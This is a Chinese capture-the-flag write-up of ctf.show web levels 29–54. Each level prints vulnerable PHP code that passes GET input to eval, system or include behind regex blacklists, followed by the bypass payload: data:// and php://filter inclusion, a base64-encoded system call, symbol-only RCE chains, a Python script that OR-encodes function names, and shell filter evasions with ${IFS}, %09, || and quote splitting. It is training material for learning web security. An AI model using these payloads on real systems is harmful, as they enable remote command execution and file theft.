前情提示
代码执行函数:
1- eval()
特别注意:php中@是干什么的
2- assert() --(最好不要加上分号作为结尾)
3- call_user_func()
4- create_function()
5- array_map()
6- call_user_func_array()
7- array_filter()
8- uasort()函数
9- preg_replace()
命令执行函数:
1- system()
system("ls");
2-passthru()
passthru("ls");
3- exec()
需要输出执行结果,且它只会输出最后一行的内容。
echo exec("ls");
4- pcntl_exec()
5- shell_exec()
需要输出执行结果,且输出全部的内容。
echo shell_exec("ls");
6- popen()/proc_open()
7- 反引号 ``
echo `ls`;
Web29
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤掉了flag
ls查看以下文件
直接使用 cat fla*即可
web30
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:42:26 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤掉了最常用的命令执行函数system
使用其他命令执行函数进行绕过
payload:
?c=passthru("cat fla*");
Web31
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:49:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
本关对cat函数和空格 点 单引号进行了过滤
按照情况来对其一一过滤
payload:
?c=passthru("tac%09fla*");
Web32
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:56:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);
本关新增过滤了分号,括号
在eval函数中不止用分号结尾,也可以 ?>
eval("echo 1;"); eval("echo 1?>");
但考虑到过滤了括号和反引号,所以这里不能使用任何命令执行函数了
考虑文件包含
?c=include$_GET[2]?>&2=data://text/plain,<?php system("cat flag")?> ?c=include$_GET[2]?>&2=php://filter/read=convert.base64-encode/resource=flag.php
首先使用c参数来设置包含值,包含内容为GET传进来的2参数,然后拼接2参数使用data协议来直接执行命令
或者phpfilter 来包含flag.php。因为2是我们自己定义的新参数所以不在代码的检测内容之中可以放心搞
Web33
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 02:22:27 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
照比32关多过滤了一个双引号
无伤大雅,与32关同理
?c=include$_GET[2]?>&2=data://text/plain,<?php system("cat flag.php");?>
Web34
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
同理33
?c=include$_GET[2]?>&2=data://text/plain,<?php system("cat flag.php");?> ?c=include$_GET[2]?>&2=php://filter/read=convert.base64-encode/resource=flag.php
Web35
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:23 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
同34
?c=include$_GET[2]?>&2=data://text/plain,<?php system("cat flag.php");?> ?c=include$_GET[2]?>&2=php://filter/read=convert.base64-encode/resource=flag.php
Web36
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:16 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
本关照比之前多了一个数字过滤 / 过滤
只需要将原来payload中包含的get参数换成字母的就好了
?c=include$_GET[p]?>&p=data://text/plain,<?php system("cat flag.php");?>
Web37
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:18:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
有改动但不多
要求是包含进flag文件才可以
我们直接伪协议通杀,注意伪协议中不能有flag! 所以需要base64编码
将命令执行部分<?php system("cat flag.php");?>进行编码
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
组合一下就是新payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web38
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:23:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
本关本意是过滤掉php开头的伪协议以及以及file读取,但是与我们data协议无关
37关payload拿来就用
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web39
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:13:21 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
本关照比之前进行改动,主要是强行加入php后缀
但是仍然可以使用data协议
?c=data://text/plain,<?php%20system("tac fla*.php");?>
因为?>为php的结束符号后面拼接的.php会被忽略掉,不用管
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
Web40
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
无符号RCE
这里注意一点细节,就是过滤的括号是中文的括号!不要被吓到!
步骤:
1、localeconv() 返回一包含本地数字及货币格式信息的数组但是这个需要取第一个数组值,[]被过滤
2、使用这三个函数将localeconv括起来
-
current() 函数返回数组中的当前元素(单元),默认取第一个值,
-
pos() 同 current() ,是current()的别名
-
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
3、使用scandir打印一下当前目录所有内容
print_r(scandir(.)); 即可打印所有内容 更改一下就是
print_r(scandir(pos(localeconv())));
4、打印出flag 使用next函数,输出数组中的当前元素的下一个元素的值,也就是可以输出第二个
我们默认当前元素肯定是0,所以输出的下一个元素是1的内容,但是根据显示我们发现flag.php在2号位置,所以我们需要对该数组进行一下置换,让3变成0,2变成1颠倒一下
5、使用array_reverse函数进行颠倒
6、使用highlight_file进行高亮显示,显示出源代码内容
所以最终显示flag的payload:
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Web41
<?php /* # -*- coding: utf-8 -*- # @Author: 羽 # @Date: 2020-09-05 20:31:22 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:40:07 # @email: 1341963450@qq.com # @link: https://ctf.show */ if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
本关需要使用python脚本,可以看到过滤的符号中缺少 | 符号,通过除了以上符号外的任意符号的ascii码进行或操作最终得到需要的值
import re import requests url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函数名 这里修改! myb="ls" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text)
Web42
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 20:51:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
本关主要内容是,将输出的结果丢进linux黑洞中不进行显示
输入?c=ls 是不显示的
可以使用分号进行分割分化来进行绕过?c=ls;ls
如此一来整个命令就变成了 ls;ls >/dev/null 2>&1
第一个ls会正常显示出来,而第二个ls因为分号的问题会被系统认为是第二个命令,所以命令会丢进黑洞中将第一个显示出来
最终payload:
?c=tac flag.php;ls
Web43
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
照比上一关过滤了分号和cat 不过无所谓
; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
cat过滤了就tac 分号过滤了就双管道符
所以最终payload:
?c=tac flag.php || ls
Web44
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:01 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了一个flag,无所谓直接*号就行
最终payload:
?c=tac fla*||ls
Web45
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:35:34 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了一个空格
%09绕过
最终payload为:
?c=tac%09fla*||ls
Web46
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:50:19 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
不能有数字不能有*号不能有$号
一个个来,
1、不能有*就用?区别是?代表一位
*代表多位任意位
2、不能有数字也可以直接%09,09解码后不是数字,所以这个过滤完全就是唬人的
所以最终payload为:?c=tac%09fla?.php||ls
Web47
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:59:23 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多了一堆没用的过滤,上一关payload可以直接干死
最终payload:?c=tac%09fla?.php||ls
Web48
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:06:20 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
无用过滤,直接通杀
payload:?c=tac%09fla?.php||ls
Web49
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:22:43 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
通杀payload:?c=tac%09fla?.php||ls
Web50
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:32:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了很多东西,这回肯定是不能用空格了,所以需要使用一个不带空格的读取命令 nl
注意nl不支持通配符,所以需要使用一个linux特性功能就是两个单引号分割字符串中间自动忽略
最终payload:
nl<fla''g.php||ls
Web51
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:42:52 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了一个tac命令
仍然可以继续使用nl命令进行通杀
nl<fla''g.php||ls
Web52
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:50:30 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了尖括号,那我们也可以绕过
使用${IFS}等等进行绕过
?c=nl${IFS}fla''g.php||ls
但是发现没有flag,我们尝试取根目录查看一手
重新修正payload:
/?c=ca\t${IFS}/fla?||ls
Web53
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 18:21:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
payload:?c=ca\t${IFS}fla?.php
Web54
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 19:43:42 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
丧心病狂的过滤
绕过方法:
没有过滤mv指令,可以通过mv将flag文件重命名然后url查看
先ls查看当前目录是否存在flag文件
然后mv更改flag.php文件名
最后在url后面拼接修改的文件名
payload:
?c=ls
?c=mv${IFS}fla?.php${IFS}z.txt
?c=ls
https://2ff97d35-4afa-47ac-b824-67f7f93cd213.challenge.ctf.show/z.txt